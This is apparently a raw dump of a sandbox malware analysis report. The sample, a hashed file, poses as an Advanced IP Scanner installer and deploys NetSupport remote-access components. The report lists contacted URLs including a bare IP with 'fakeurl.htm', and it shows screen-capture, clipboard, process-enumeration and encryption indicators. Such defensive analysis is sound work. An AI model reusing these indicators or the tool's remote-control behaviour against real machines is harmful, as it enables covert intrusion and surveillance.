"i=up.cu" Pattern match: "www.netsuppport247.com" Pattern match: "http://127.0.0.1" Pattern match: "http://%s/" Pattern match: "http://localhost/" Heuristic match: "command.com" Heuristic match: "edit.com" Pattern match: "www.pci.co.uk/support|http://www.pci.co.uk/support" Heuristic match: "support@pci.co.uk|mailto:support@pci.co.uk" Pattern match: "http://www.netsupportschool.com/tutor-assistant.asp" Heuristic match: "yyytx\.ag" Pattern match: "xt.zu/[v2^z" Pattern match: "http://%s/fakeurl.htm" Pattern match: "http://%s/testpage.htm"71:T340a,Found URL "http://geo.netsupportsoftware.com/location/loca.aspc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\loca[1].htmconsolerdp-tcpoftware\policies\microsoft\internet" - Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp") Found URL "http://geo.netsupportsoftware.comlocation/loca.aspclient\disableuserpoliciesclient\enablesmartcardlogonc:\users\hapubws\appdata\roaming\systemutil\nsm.licc:\users\hapubws\appdata\roaming\systemutil\nsm.lic_debug\tracemessagewindowsclient\disableprintcapturehttp://geo.netsupportsoftware.com/location/loca.asp_debug\tracemessagewindows" - Source: "00000000-00001628.00000000.105989.05240000.00000004.mdmp") Found URL "http://https://-y%;!-t" - Source: "00000000-00007184.00000000.105136.00CC0000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcgreater" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00007184.00000000.105136.00DA1000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007184.00000000.105136.031D0000.00000004.mdmp") Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00007184.00000000.105136.05220000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0com/120531151137z0/^g(o-cejy" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?l_ipxp!" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007184.00000000.105136.077A0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007184.00000000.105136.72411000.00000020.mdmp")72:T443,Found string "GET /location/loca.asp HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found string "p://151.236.16.15/fakeurl.htm HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001628.00000001.107910.05860000.00000004.mdmp, 00000000-00001628.00000002.109828.05860000.00000004.mdmp") Found string "POST http://%s/fakeurl.htm HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found string "CONNECT %s:%d HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found string "HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp")73:Ta3e,Observed import api "WNetAddConnection" which can "make a connection to a network resource" [Source: PCICL32.DLL] Observed import api "WNetCancelConnection" which can "cancel an existing network connection" [Source: PCICL32.DLL] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: PCICL32.DLL] Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: is-E4H59.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: is-E4H59.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: is-E4H59.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: is-E4H59.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: is-E4H59.tmp] Observed import api "WNetCloseEnum" which can "end a network resource enumeration" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "WNetGetConnection" which can "retrieve the name of the network resource associated with a local device" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "WNetGetUniversalName" which can "take a drive-based path for a network resource and returns an information structure that contains a more universal form of the name" [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp] Observed import api "WNetAddConnection" which can "make a connection to a network resource" [Source: is-RDOSR.tmp] Observed import api "WNetCancelConnection" which can "cancel an existing network connection" [Source: is-RDOSR.tmp] Observed import api "WNetEnumResource" which can "continue an enumeration of network recls.sources" [Source: is-RDOSR.tmp] Observed import api "WNetOpenEnum" which can "start an enumeration of network recls.sources or existing connections." [Source: is-RDOSR.tmp]74:T852,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "290106d2" "cx": "16" "cy": "16"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "20109f9" "cx": "32" "cy": "32"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "20109f9" "cx": "233" "cy": "21"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "80107be" "cx": "233" "cy": "23"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "20109f9" "cx": "52" "cy": "39"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "80107be" "cx": "52" "cy": "39"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "290106d2" "cx": "32" "cy": "32"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "20109f9" "cx": "332" "cy": "21"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "20109f9" "cx": "332" "cy": "23"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "290106d2" "cx": "332" "cy": "21"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "80107be" "cx": "332" "cy": "21"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "290106d2" "cx": "332" "cy": "23"} "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "CreateCompatibleBitmap" with parameters {"hdc": "290106d2" "cx": "328" "cy": "17"}75:Td70,"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "FindFirstFileW" with parameter C:\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.en-US (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "FindFirstFileW" with parameter C:\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.en (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "FindFirstFileW" with parameter C:\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.ENU (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe" called "FindFirstFileW" with parameter C:\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.EN (UID: 00000000-00006300) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.en-US (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.en (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.ENU (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.EN (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-2BB8I.tmp\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindNextFileW" with parameter a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\unins???.* (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %PROGRAMFILES%\(x86)\Advanced IP Scanner\details_panel_id_id.tpl (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-0DA6D.tmp\* (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindNextFileW" with parameter .. (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindNextFileW" with parameter _isetup (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindFirstFileW" with parameter %TEMP%\is-0DA6D.tmp\_isetup\* (UID: 00000000-00005220) "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp" called "FindNextFileW" with parameter _setup64.tmp (UID: 00000000-00005220) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007184)76:Ta6c,file/memory contains long string with (Indicator: "base64"; File: "HTCTL32.DLL") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00007184.00000000.105136.00C01000.00000020.mdmp") Found string "?toBase64@QByteArray@@QBE?AV1@XZ" (Indicator: "base64"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found string "?fromBase64@QByteArray@@SA?AV1@ABV1@@Z" (Indicator: "base64"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found string "!"Unable to continue no Aes server"" (Indicator: "aes"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "..\CTL32\EncryptAESBase.cpp" (Indicator: "aes"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "Blowfish" (Indicator: "blowfish"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "RIJNDAEL" (Indicator: "rijndael"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "TWOFISH" (Indicator: "twofish"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "BLOWFISH" (Indicator: "blowfish"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "m_AESServer!=NULL" (Indicator: "aes"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "Rijndael" (Indicator: "rijndael"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string "Twofish" (Indicator: "twofish"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found string ".?AVCEncryptAESBase@@" (Indicator: "aes"; Source: "00000000-00001628.00000001.107910.111DD000.00000004.mdmp") Found string ".?AVCEncryptBlowfish@@" (Indicator: "blowfish"; Source: "00000000-00001628.00000001.107910.111DD000.00000004.mdmp") Found string ".?AVCEncryptRijndael@@" (Indicator: "rijndael"; Source: "00000000-00001628.00000001.107910.111DD000.00000004.mdmp") Found string ".?AVCEncryptTwofish@@" (Indicator: "twofish"; Source: "00000000-00001628.00000001.107910.111DD000.00000004.mdmp") Found string "64 bit (Blowfish)" (Indicator: "blowfish"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "128 bit (Twofish)" (Indicator: "twofish"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "256 bit (AES)}The Client does not support the selected encryption mode." (Indicator: "aes"; Source: "00000000-00001628.00000001.107910.111F2000.00000002.mdmp") Found string "base64.cpp" (Indicator: "base64"; Source: "00000000-00001628.00000001.107910.71910000.00000002.mdmp")77:T42a,Found reference to API "OpenClipboard" (Indicator: "OpenClipboard"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetClipboardData" (Indicator: "GetClipboardData"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetClipboardFormatNameA" (Indicator: "GetClipboardFormatName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetClipboardFormatNameW" (Indicator: "GetClipboardFormatName"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "OpenClipboard" (Indicator: "OpenClipboard"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetClipboardFormatNameA" (Indicator: "GetClipboardFormatName"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetClipboardData" (Indicator: "GetClipboardData"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")78:T1284,Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateDCA" (Indicator: "CreateDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetDC" (Indicator: "GetDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp") Found reference to API "GetDIBits ret %d lines" (Indicator: "GetDIBits"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "BitBlt(Default) failed, e=%d, trying scrapeApp" (Indicator: "BitBlt"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp")79:T53a,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "FindFirstFileExA" (Indicator: "FindFirstFile"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; Source: "00000000-00001628.00000001.107910.6DE21000.00000020.mdmp")7a:Tfa1,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "EnumProcesses" (Indicator: "EnumProcesses"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "WTSEnumerateProcessesA" (Indicator: "WTSEnumerateProcesses"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "EnumProcessModules" (Indicator: "EnumProcessModules"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp") Found reference to API "EnumProcessesInSessionsWithClients took %d ms" (Indicator: "EnumProcesses"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot failed (%d)" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Process32Next" (Indicator: "Process32Next"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "Process32First" (Indicator: "Process32First"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 